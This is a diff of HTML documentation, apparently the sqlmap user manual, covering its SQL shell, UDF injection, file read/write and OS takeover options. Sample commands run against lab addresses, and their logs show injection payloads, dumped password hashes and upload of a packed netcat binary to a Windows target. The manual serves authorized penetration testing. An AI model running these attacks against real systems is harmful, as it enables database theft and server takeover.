    If it is a SELECT statement, sqlmap will retrieve its output -through the blind SQL injection or UNION query SQL injection technique -depending on the user's options. Otherwise it will execute the query -through the stacked query SQL injection technique if the web application -supports multiple statements on the back-end database management system.

    +technique is appropriate to use to inject it and how to pack the SQL +payload accordingly.

    -

    Examples on a Microsoft SQL Server 2000 Service Pack 0 target:

    +

    If the query is a SELECT statement, sqlmap will retrieve its +output. +Otherwise it will execute the query through the stacked query SQL +injection technique if the web application supports multiple statements on +the back-end database management system. +Beware that some web application technologies do not support stacked +queries on specific database management systems. For instance, PHP does +not support stacked queries when the back-end DBMS is MySQL, but it does +support when the back-end DBMS is PostgreSQL.

    + +

    Examples against a Microsoft SQL Server 2000 target:

    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --sql-query \
+$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query \
   "SELECT 'foo'" -v 1
 
 [...]
@@ -4086,7 +2124,7 @@ $ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --sq
 [hh:mm:14] [INFO] retrieved: foo
 SELECT 'foo':    'foo'
 
-$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --sql-query \
+$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query \
   "SELECT 'foo', 'bar'" -v 2
 
 [...]
@@ -4106,347 +2144,49 @@ SELECT 'foo', 'bar':    'foo, bar'

    -

    As you can see from the last example, sqlmap splits provided query into two -different SELECT statements for it to be able to retrieve the -output even in case when using the blind SQL injection technique. -Otherwise, in UNION query SQL injection technique it only performs a single -HTTP request to get the user's query output:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --sql-query \
-  "SELECT 'foo', 'bar'" -v 2 --union-use
+
    As you can see, sqlmap splits the provided query into two different
+SELECT statements then retrieves the output for each separate
+query.
    
 
-[...]
-[hh:mm:03] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
-[hh:mm:03] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing 
-technique
-[hh:mm:03] [INFO] the target url could be affected by an inband sql injection vulnerability
-[hh:mm:03] [INFO] confirming full inband sql injection on parameter 'id'
-[hh:mm:03] [INFO] the target url is affected by an exploitable full inband sql injection
-vulnerability
-[hh:mm:03] [DEBUG] query:  UNION ALL SELECT NULL, (CHAR(77)+CHAR(68)+CHAR(75)+CHAR(104)+
-CHAR(70)+CHAR(67))+ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), (CHAR(32)))
-+(CHAR(105)+CHAR(65)+CHAR(119)+CHAR(105)+CHAR(108)+CHAR(108))+ISNULL(CAST((CHAR(98)+CHAR(97)+
-CHAR(114)) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(66)+CHAR(78)+CHAR(104)+CHAR(75)+CHAR(114)+
-CHAR(116)), NULL-- AND 8373=8373
-[hh:mm:03] [DEBUG] performed 3 queries in 0 seconds
-SELECT 'foo', 'bar' [1]:
-[*] foo, bar
-
    -
    -

    +

    If the provided query is a SELECT statement and contains a +FROM clause, sqlmap will ask you if such statement can return +multiple entries. In that case the tool knows how to unpack the query +correctly to count the number of possible entries and retrieve its output, +entry per entry.

    -

    If your SELECT statement contains a FROM clause, sqlmap -asks the user if such statement can return multiple entries. In that -case the tool knows how to unpack the query correctly to retrieve its -whole output, entry per entry, when going through blind SQL injection -technique. In provided example, UNION query SQL injection it retrieved -the whole output in a single response.

    - -

    Example on a PostgreSQL 8.3.5 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --sql-query \
-  "SELECT usename FROM pg_user" -v 0
-
-[hh:mm:32] [INPUT] can the SQL query provided return multiple entries? [Y/n] y
-[hh:mm:37] [INPUT] the SQL query provided can return up to 3 entries. How many entries 
-do you want to retrieve?
-[a] All (default)
-[#] Specific number
-[q] Quit
-Choice: 2
-SELECT usename FROM pg_user [2]:
-[*] postgres
-[*] testuser
-
    -
    -

    - -

    As you can see from the last example, sqlmap counts the number of entries -for a given query and asks for number of entries to dump. -Otherwise, if the LIMIT is also specified, or similar clause, -sqlmap will not ask for anything. It will just unpack the query and return its -output, entry per entry, when going through blind SQL injection technique. -In a given example, sqlmap used UNION query SQL injection to retrieve the -whole output in a single response.

    - -

    Example on a MySQL 5.0.67 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --sql-query \
-  "SELECT host, password FROM mysql.user LIMIT 1, 3" -v 2
-
-[...]
-back-end DBMS:  MySQL >= 5.0.0
-
-[hh:mm:22] [INFO] fetching SQL SELECT statement query output: 'SELECT host, password FROM 
-mysql.user LIMIT 1, 3'
-[hh:mm:22] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it 
-into distinct queries to be able to retrieve the output even if we are going blind
-[hh:mm:22] [DEBUG] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM 
-mysql.user LIMIT 1, 1
-[hh:mm:22] [INFO] retrieved: localhost
-[hh:mm:22] [DEBUG] performed 69 queries in 0 seconds
-[hh:mm:22] [DEBUG] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM 
-mysql.user LIMIT 1, 1
-[hh:mm:22] [INFO] retrieved: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
-[hh:mm:24] [DEBUG] performed 293 queries in 2 seconds
-[hh:mm:24] [DEBUG] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM 
-mysql.user LIMIT 2, 1
-[hh:mm:24] [INFO] retrieved: localhost
-[hh:mm:25] [DEBUG] performed 69 queries in 0 seconds
-[hh:mm:25] [DEBUG] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM 
-mysql.user LIMIT 2, 1
-[hh:mm:25] [INFO] retrieved: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
-[hh:mm:27] [DEBUG] performed 293 queries in 2 seconds
-[hh:mm:27] [DEBUG] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM 
-mysql.user LIMIT 3, 1
-[hh:mm:27] [INFO] retrieved: localhost
-[hh:mm:28] [DEBUG] performed 69 queries in 0 seconds
-[hh:mm:28] [DEBUG] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) 
-FROM mysql.user LIMIT 3, 1
-[hh:mm:28] [INFO] retrieved: 
-[hh:mm:28] [DEBUG] performed 6 queries in 0 seconds
-SELECT host, password FROM mysql.user LIMIT 1, 3 [3]:
-[*] localhost, *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
-[*] localhost, *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
-[*] localhost, 
-
    -
    -

    - -

    The SQL shell option gives you an access to run your own SQL statement -interactively, like a SQL console connected to the back-end database -management system. -Note that this feature provides TAB completion and history support.

    - -

    Example of history support on a PostgreSQL 8.3.5 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 0
-
-sql> SELECT 'foo'
-SELECT 'foo':    'foo'
-
-sql> [UP arrow key shows the just run SQL SELECT statement, DOWN arrow key cleans the shell]
-sql> SELECT version()
-SELECT version():    'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real 
-(Ubuntu 4.3.2-1ubuntu11) 4.3.2'
-
-sql> exit
-
-$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 0
-
-sql> [UP arrow key shows 'exit', then DOWN arrow key clean the shell]
-sql> SELECT usename, passwd FROM pg_shadow ORDER BY usename
-[hh:mm:45] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] y
-[hh:mm:46] [INPUT] the SQL query that you provide can return up to 3 entries. How many entries 
-do you want to retrieve?
-[a] All (default)
-[#] Specific number
-[q] Quit
-Choice: 2
-SELECT usename, passwd FROM pg_shadow ORDER BY usename [3]:
-[*] postgres, md5d7d880f96044b72d0bba108ace96d1e4
-[*] testuser, md599e5ea7a6f7c3269995cba3927fd0093
-
    -
    -

    - -

    Example of TAB completion on a MySQL 5.0.67 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --sql-shell -v 0
-
-sql> [TAB TAB]
- LIMIT 
-(SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) 
-LIMIT 0, 1)='Y'
-AND ORD(MID((%s), %d, 1)) > %d
-CAST(%s AS CHAR(10000))
-COUNT(%s)
-CURRENT_USER()
-DATABASE()
-IFNULL(%s, ' ')
-LENGTH(%s)
-LIMIT %d, %d
-MID((%s), %d, %d)
-ORDER BY %s ASC
-SELECT %s FROM %s.%s
-SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)
-SELECT column_name, column_type FROM information_schema.COLUMNS WHERE table_name='%s' AND 
-table_schema='%s'
-SELECT grantee FROM information_schema.USER_PRIVILEGES
-SELECT grantee, privilege_type FROM information_schema.USER_PRIVILEGES
-SELECT schema_name FROM information_schema.SCHEMATA
-SELECT table_schema, table_name FROM information_schema.TABLES
-SELECT user, password FROM mysql.user
-SLEEP(%d)
-VERSION()
-\s+LIMIT\s+([\d]+)\s*\,\s*([\d]+)
-sql> SE[TAB]
-sql> SELECT
-
    -
    -

    - -

    As you can see the TAB functionality shows the queries defined for the -back-end database management system in sqlmap XML queries file, but you -can run whatever SELECT statement you want.

    - -

    Example of asterisk expansion on a MySQL 5.0.67 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --sql-shell \
-  -v 2
-
-[...]
-[hh:mm:40] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
-sql> SELECT * FROM test.users
-[hh:mm:48] [INFO] fetching SQL SELECT query output: 'SELECT * FROM test.users'
-[hh:mm:48] [INFO] you did not provide the fields in your query. sqlmap will retrieve the 
-column names itself.
-[hh:mm:48] [INFO] fetching columns for table 'users' on database 'test'
-[hh:mm:48] [INFO] fetching number of columns for table 'users' on database 'test'
-[hh:mm:48] [DEBUG] query: SELECT IFNULL(CAST(COUNT(column_name) AS CHAR(10000)), CHAR(32)) 
-FROM information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND 
-table_schema=CHAR(116,101,115,116)
-[hh:mm:48] [INFO] retrieved: 3
-[hh:mm:48] [DEBUG] performed 13 queries in 0 seconds
-[hh:mm:48] [DEBUG] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM 
-information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND 
-table_schema=CHAR(116,101,115,116) LIMIT 0, 1
-[hh:mm:48] [INFO] retrieved: id
-[hh:mm:48] [DEBUG] performed 20 queries in 0 seconds
-[hh:mm:48] [DEBUG] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM 
-information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND 
-table_schema=CHAR(116,101,115,116) LIMIT 1, 1
-[hh:mm:48] [INFO] retrieved: name
-[hh:mm:48] [DEBUG] performed 34 queries in 0 seconds
-[hh:mm:48] [DEBUG] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM 
-information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND 
-table_schema=CHAR(116,101,115,116) LIMIT 2, 1
-[hh:mm:48] [INFO] retrieved: surname
-[hh:mm:48] [DEBUG] performed 55 queries in 0 seconds
-[hh:mm:48] [INFO] the query with column names is: SELECT id, name, surname FROM test.users
-[hh:mm:48] [INPUT] can the SQL query provided return multiple entries? [Y/n] y
-[hh:mm:04] [DEBUG] query: SELECT IFNULL(CAST(COUNT(id) AS CHAR(10000)), CHAR(32)) FROM 
-test.users
-[hh:mm:04] [INFO] retrieved: 5
-[hh:mm:04] [DEBUG] performed 13 queries in 0 seconds
-[hh:mm:04] [INPUT] the SQL query that you provide can return up to 5 entries. How many 
-entries 
-do you want to retrieve?
-[a] All (default)
-[#] Specific number
-[q] Quit
-Choice: 3
-[hh:mm:09] [INFO] sqlmap is now going to retrieve the first 3 query output entries
-[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users 
-ORDER BY id ASC LIMIT 0, 1
-[hh:mm:09] [INFO] retrieved: 1
-[hh:mm:09] [DEBUG] performed 13 queries in 0 seconds
-[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users 
-ORDER BY id ASC LIMIT 0, 1
-[hh:mm:09] [INFO] retrieved: luther
-[hh:mm:09] [DEBUG] performed 48 queries in 0 seconds
-[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM 
-test.users ORDER BY id ASC LIMIT 0, 1
-[hh:mm:09] [INFO] retrieved: blissett
-[hh:mm:09] [DEBUG] performed 62 queries in 0 seconds
-[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users 
-ORDER BY id ASC LIMIT 1, 1
-[hh:mm:09] [INFO] retrieved: 2
-[hh:mm:09] [DEBUG] performed 13 queries in 0 seconds
-[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users 
-ORDER BY id ASC LIMIT 1, 1
-[hh:mm:09] [INFO] retrieved: fluffy
-[hh:mm:09] [DEBUG] performed 48 queries in 0 seconds
-[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM 
-test.users ORDER BY id ASC LIMIT 1, 1
-[hh:mm:09] [INFO] retrieved: bunny
-[hh:mm:09] [DEBUG] performed 41 queries in 0 seconds
-[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users 
-ORDER BY id ASC LIMIT 2, 1
-[hh:mm:09] [INFO] retrieved: 3
-[hh:mm:09] [DEBUG] performed 13 queries in 0 seconds
-[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users 
-ORDER BY id ASC LIMIT 2, 1
-[hh:mm:09] [INFO] retrieved: wu
-[hh:mm:09] [DEBUG] performed 20 queries in 0 seconds
-[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM 
-test.users ORDER BY id ASC LIMIT 2, 1
-[hh:mm:09] [INFO] retrieved: ming
-[hh:mm:10] [DEBUG] performed 34 queries in 0 seconds
-SELECT * FROM test.users [3]:
-[*] 1, luther, blissett
-[*] 2, fluffy, bunny
-[*] 3, wu, ming
-
    -
    -

    - -

    As you can see from the example, if the SELECT statement has -an asterisk instead of the column(s) name, sqlmap first retrieves all -column names of the current table, asks if the query can return multiple -entries and goes on.

    - -

    Example of SQL statement other than SELECT on a PostgreSQL -8.3.5 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 1
-
-[...]
-back-end DBMS: PostgreSQL
-
-[10:hh:mm] [INFO] calling PostgreSQL shell. To quit type 'x' or 'q' and press ENTER
-sql> SELECT COUNT(name) FROM users
-[hh:mm:57] [INFO] fetching SQL SELECT statement query output: 'SELECT COUNT(name) FROM users'
-[hh:mm:57] [INPUT] can the SQL query provided return multiple entries? [Y/n] n
-[hh:mm:59] [INFO] retrieved: 4
-SELECT COUNT(name) FROM users:    '4'
-
-sql> INSERT INTO users (id, name, surname) VALUES (5, 'from', 'sql shell');
-[hh:mm:35] [INFO] testing stacked queries support on parameter 'id'
-[hh:mm:40] [INFO] the web application supports stacked queries on parameter 'id'
-[hh:mm:40] [INFO] executing SQL data manipulation query: 'INSERT INTO users 
-(id, name, surname) VALUES (5, 'from', 'sql shell');'
-[hh:mm:40] [INFO] done
-sql> SELECT COUNT(name) FROM users
-[hh:mm:51] [INFO] fetching SQL SELECT statement query output: 'SELECT COUNT(name) FROM users'
-[hh:mm:51] [INPUT] can the SQL query provided return multiple entries? [Y/n] n
-[hh:mm:53] [INFO] retrieved: 5
-SELECT COUNT(name) FROM users:    '5'
-
    -
    -

    - -

    As you can see from the example, when the user provides a SQL statement -other than SELECT, sqlmap recognizes it, tests if the web -application supports stacked queries and in case it does, it executes -the provided SQL statement in a multiple statement mode.

    - -

    Beware that some web application technologies do not support stacked -queries on specific database management systems. For instance, PHP does -not support stacked queries when the back-end DBMS is MySQL, but it does -support when the back-end DBMS is PostgreSQL.

    +

    The SQL shell option allows you to run your own SQL statement +interactively, like a SQL console connected to the database management +system. +This feature provides TAB completion and history support too.

    -

    5.8 User-defined function injection +

    5.10 Brute force

    +

    These options can be used to run brute force checks.

    + +

    Brute force tables names

    + +

    Switches: --common-tables

    + +

    TODO

    + + +

    Brute force columns names

    + +

    Switches: --common-columns

    + +

    TODO

    + + +

    5.11 User-defined function injection +

    + +

    These options can be used to create custom user-defined functions.

    +

    Inject custom user-defined functions (UDF)

    -

    Options: --udf-inject and --shared-lib

    +

    Switches: --udf-inject and --shared-lib

    You can inject your own user-defined functions (UDFs) by compiling a MySQL or PostgreSQL shared library, DLL for Windows and shared object for @@ -4457,11 +2197,14 @@ create the user-defined function(s) from it and, depending on your options, execute them. When you are finished using the injected UDFs, sqlmap can also remove them from the database for you.

    -

    Example on a PostgreSQL 8.4:

    +

    These techniques are detailed in the white paper +Advanced SQL injection to operating system full control.

    + +

    Example against a PostgreSQL target:

    -$ python sqlmap.py -u http://172.16.213.131/sqlmap/pgsql/get_int8.4.php?id=1 --udf-inject -v 0
+$ python sqlmap.py -u http://192.168.136.131/sqlmap/pgsql/get_int8.4.php?id=1 --udf-inject -v 0
 
 [...]
 web application technology: PHP 5.2.6, Apache 2.2.9
@@ -4483,7 +2226,7 @@ do you want to retrieve the return value of the UDF? [Y/n]
 return value:    'test'
 
 do you want to call this or another injected UDF? [Y/n] n
-do you want to remove UDF 'sys_eval'? [Y/n] 
+do you want to remove UDF 'sys_eval'? [Y/n] y
 [12:00:10] [WARNING] remember that UDF shared object files saved on the file system can only 
 be deleted manually
    @@ -4493,94 +2236,35 @@ be deleted manually

    If you want, you can specify the shared library local file system path via command line using --shared-lib option.

    -

    5.9 File system access +

    This feature is available only when the database management system is +MySQL or PostgreSQL.

    + + +

    5.12 File system access

    Read a file from the database server's file system

    -

    Option: --read-file

    +

    Switch: --file-read

    It is possible to retrieve the content of files from the underlying file system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses. -The file specified can be either a text or a binary file. sqlmap will -handle it automatically.

    +The file specified can be either a textual or a binary file. sqlmap will +handle it properly.

    These techniques are detailed in the white paper -Advanced SQL injection to operating system full control.

    +Advanced SQL injection to operating system full control.

    -

    Example on a PostgreSQL 8.3.5 target to retrieve a text file:

    +

    Example against a Microsoft SQL Server 2005 target to retrieve a binary +file:

    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.aspx?id=1" \
-  --read-file "C:\example.txt" -v 2
-
-[...]
-[hh:mm:53] [INFO] the back-end DBMS is PostgreSQL
-web server operating system: Windows 2003 or 2008
-web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
-back-end DBMS: PostgreSQL
-
-[hh:mm:53] [INFO] testing stacked queries support on parameter 'id'
-[hh:mm:53] [INFO] detecting back-end DBMS version from its banner
-[hh:mm:53] [DEBUG] query: COALESCE(CAST(SUBSTR((VERSION())::text, 12, 6) AS CHARACTER(10000)), 
-CHR(32))
-[hh:mm:53] [INFO] retrieved: 8.3.5,
-[hh:mm:58] [DEBUG] performed 49 queries in 4 seconds
-[hh:mm:58] [DEBUG] query: SELECT PG_SLEEP(5)
-[hh:mm:03] [INFO] the web application supports stacked queries on parameter 'id'
-[hh:mm:03] [INFO] fingerprinting the back-end DBMS operating system
-[hh:mm:03] [DEBUG] query: DROP TABLE sqlmapfile
-[hh:mm:03] [DEBUG] query: CREATE TABLE sqlmapfile(data character(500))
-[hh:mm:03] [DEBUG] query: INSERT INTO sqlmapfile(data) VALUES (VERSION())
-[hh:mm:03] [DEBUG] query: SELECT (CASE WHEN ((SELECT LENGTH(data) FROM sqlmapfile WHERE data 
-LIKE CHR(37)||CHR(32)||CHR(86)||CHR(105)||CHR(115)||CHR(117)||CHR(97)||CHR(108)||CHR(32)||
-CHR(67)||CHR(43)||CHR(43)||CHR(37))>0) THEN 1 ELSE 0 END)
-[hh:mm:03] [INFO] retrieved: 1
-[hh:mm:03] [DEBUG] performed 5 queries in 0 seconds
-[hh:mm:03] [INFO] the back-end DBMS operating system is Windows
-[hh:mm:03] [DEBUG] cleaning up the database management system
-[hh:mm:03] [DEBUG] removing support tables
-[hh:mm:04] [DEBUG] query: DROP TABLE sqlmapfile
-[hh:mm:04] [DEBUG] going to read the file with stacked query SQL injection technique
-[hh:mm:04] [WARNING] binary file read on PostgreSQL is not yet supported, if the requested file 
-is binary, its content will not be retrieved
-[hh:mm:04] [INFO] fetching file: 'C:/example.txt'
-[hh:mm:04] [DEBUG] query: DROP TABLE sqlmapfile
-[hh:mm:04] [DEBUG] query: CREATE TABLE sqlmapfile(data bytea)
-[hh:mm:04] [DEBUG] loading the content of file 'C:/example.txt' into support table
-[hh:mm:04] [DEBUG] query: COPY sqlmapfile(data) FROM 'C:/example.txt'
-[hh:mm:04] [DEBUG] query: SELECT COALESCE(CAST(COUNT(data) AS CHARACTER(10000)), CHR(32)) FROM 
-sqlmapfile
-[hh:mm:04] [INFO] retrieved: 1
-[hh:mm:04] [DEBUG] performed 6 queries in 0 seconds
-[hh:mm:04] [DEBUG] query: SELECT COALESCE(CAST(ENCODE(data, CHR(98)||CHR(97)||CHR(115)||CHR(101)
-||CHR(54)||CHR(52)) AS CHARACTER(10000)), CHR(32)) FROM sqlmapfile OFFSET 0 LIMIT 1
-[hh:mm:04] [INFO] retrieved: VGhpcyBpcyBhIHRleHQgZmlsZQ==
-[hh:mm:22] [DEBUG] performed 203 queries in 18 seconds
-[hh:mm:22] [DEBUG] cleaning up the database management system
-[hh:mm:22] [DEBUG] removing support tables
-[hh:mm:22] [DEBUG] query: DROP TABLE sqlmapfile
-C:/example.txt file saved to:    '/home/inquis/sqlmap/output/172.16.213.131/files/C__example.txt'
-
-[hh:mm:22] [INFO] Fetched data logged to text files under '/home/inquis/sqlmap/output/172.16.213.131'
-
-$ cat output/172.16.213.131/files/C__example.txt 
-This is a text file
-
    -
    -

    - -

    Example on a Microsoft SQL Server 2005 Service Pack 0 target to -retrieve a binary file:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/iis/get_str2.asp?name=luther" \
-  --read-file "C:\example.exe" --union-use -v 1
+$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/iis/get_str2.asp?name=luther" \
+  --file-read "C:/example.exe" -v 1
 
 [...]
 [hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
@@ -4588,54 +2272,37 @@ web server operating system: Windows 2000
 web application technology: ASP.NET, Microsoft IIS 6.0, ASP
 back-end DBMS: Microsoft SQL Server 2005
 
-[hh:mm:49] [INFO] testing inband sql injection on parameter 'name' with NULL bruteforcing 
-technique
-[hh:mm:49] [INFO] confirming full inband sql injection on parameter 'name'
-[hh:mm:49] [WARNING] the target url is not affected by an exploitable full inband sql 
-injection vulnerability
-[hh:mm:49] [INFO] confirming partial (single entry) inband sql injection on parameter 
-'name' by appending a false condition after the parameter value
-[hh:mm:49] [INFO] the target url is affected by an exploitable partial (single entry) 
-inband sql injection vulnerability
-valid union:    'http://172.16.213.131/sqlmap/mssql/iis/get_str2.asp?name=luther' UNION 
-ALL SELECT NULL, NULL, NULL-- AND 'sjOfJ'='sjOfJ'
+[hh:mm:50] [INFO] fetching file: 'C:/example.exe'
+[hh:mm:50] [INFO] the SQL query provided returns 3 entries
+C:/example.exe file saved to:    '/tmp/sqlmap/output/192.168.136.131/files/C__example.exe'
+[...]
 
-[hh:mm:49] [INFO] testing stacked queries support on parameter 'name'
-[hh:mm:54] [INFO] the web application supports stacked queries on parameter 'name'
-[hh:mm:54] [INFO] fetching file: 'C:/example.exe'
-[hh:mm:54] [INFO] the SQL query provided returns 3 entries
-C:/example.exe file saved to:    '/home/inquis/sqlmap/output/172.16.213.131/files/
-C__example.exe'
+$ ls -l output/192.168.136.131/files/C__example.exe 
+-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.131/files/C__example.exe
 
-[hh:mm:54] [INFO] Fetched data logged to text files under '/home/inquis/sqlmap/output/
-172.16.213.131'
-
-$ ls -l output/172.16.213.131/files/C__example.exe 
--rw-r--r-- 1 inquis inquis 2560 2009-MM-DD hh:mm output/172.16.213.131/files/C__example.exe
-
-$ file output/172.16.213.131/files/C__example.exe 
-output/172.16.213.131/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit
+$ file output/192.168.136.131/files/C__example.exe 
+output/192.168.136.131/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel
+80386 32-bit

    -

    Write a local file on the database server's file system

    +

    Upload a file to the database server's file system

    -

    Options: --write-file and --dest-file

    +

    Switches: --file-write and --file-dest

    -

    It is possible to upload a local file to the database server file system +

    It is possible to upload a local file to the database server's file system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses. -The file specified can be either a text or a binary file. sqlmap will -handle it automatically.

    +The file specified can be either a textual or a binary file. sqlmap will +handle it properly.

    These techniques are detailed in the white paper -Advanced SQL injection to operating system full control.

    +Advanced SQL injection to operating system full control.

    -

    Example on a MySQL 5.0.67 target to upload a binary UPX-compressed -file:

    +

    Example against a MySQL target to upload a binary UPX-compressed file:

    @@ -4645,8 +2312,8 @@ $ file /tmp/nc.exe.packed
 $ ls -l /tmp/nc.exe.packed
 -rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /tmp/nc.exe.packed
 
-$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.aspx?id=1" --write-file \
-  "/tmp/nc.exe.packed" --dest-file "C:\WINDOWS\Temp\nc.exe" -v 1
+$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.aspx?id=1" --file-write \
+  "/tmp/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1
 
 [...]
 [hh:mm:29] [INFO] the back-end DBMS is MySQL
@@ -4654,13 +2321,7 @@ web server operating system: Windows 2003 or 2008
 web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
 back-end DBMS: MySQL >= 5.0.0
 
-[hh:mm:29] [INFO] testing stacked queries support on parameter 'id'
-[hh:mm:29] [INFO] detecting back-end DBMS version from its banner
-[hh:mm:29] [INFO] retrieved: 5.0.67
-[hh:mm:36] [INFO] the web application supports stacked queries on parameter 'id'
-[hh:mm:36] [INFO] fingerprinting the back-end DBMS operating system
-[hh:mm:36] [INFO] retrieved: C
-[hh:mm:36] [INFO] the back-end DBMS operating system is Windows
+[...]
 do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully 
 written on the back-end DBMS file system? [Y/n] y
 [hh:mm:52] [INFO] retrieved: 31744
@@ -4670,504 +2331,155 @@ same size as the local file '/tmp/nc.exe.packed'

    -

    Example on a PostgreSQL 8.4 target to upload a text file:

    -

    -

    -
    -$ python sqlmap.py -u http://172.16.213.131/sqlmap/pgsql/get_int8.4.php?id=1 \
-  --write-file /etc/passwd --dest-file /tmp/writtenfrompgsql -v 1
 
-[...]
-web application technology: PHP 5.2.6, Apache 2.2.9
-back-end DBMS: PostgreSQL
-
-[hh:mm:01] [INFO] testing stacked queries support on parameter 'id'
-[hh:mm:01] [INFO] detecting back-end DBMS version from its banner
-[hh:mm:01] [INFO] retrieved: 8.4.2
-[hh:mm:07] [INFO] the web application supports stacked queries on parameter 'id'
-[hh:mm:07] [INFO] fingerprinting the back-end DBMS operating system
-[hh:mm:07] [INFO] retrieved: 0
-[hh:mm:07] [INFO] retrieved: 0
-[hh:mm:07] [INFO] the back-end DBMS operating system is Linux
-do you want confirmation that the file '/tmp/writtenfrompgsql' has been successfully 
-written on the back-end DBMS file system? [Y/n] 
-[hh:mm:14] [INFO] retrieved: 2264
-[hh:mm:14] [INFO] the file has been successfully written and its size is 2264 bytes, 
-same size as the local file '/etc/passwd'
-
    -
    -

    - - -

    5.10 Operating system access +

    5.13 Operating system takeover

    -

    Execute arbitrary operating system command

    +

    Run arbitrary operating system command

    -

    Options: --os-cmd and --os-shell

    +

    Switches: --os-cmd and --os-shell

    -

    It is possible to execute arbitrary commands on the underlying operating -system when the back-end database management system is either MySQL, -PostgreSQL or Microsoft SQL Server, and the session user has the needed -privileges to abuse database specific functionalities and architectural -weaknesses.

    +

    It is possible to run arbitrary commands on the database server's +underlying operating system when the back-end database management +system is either MySQL, PostgreSQL or Microsoft SQL Server, and the +session user has the needed privileges to abuse database specific +functionalities and architectural weaknesses.

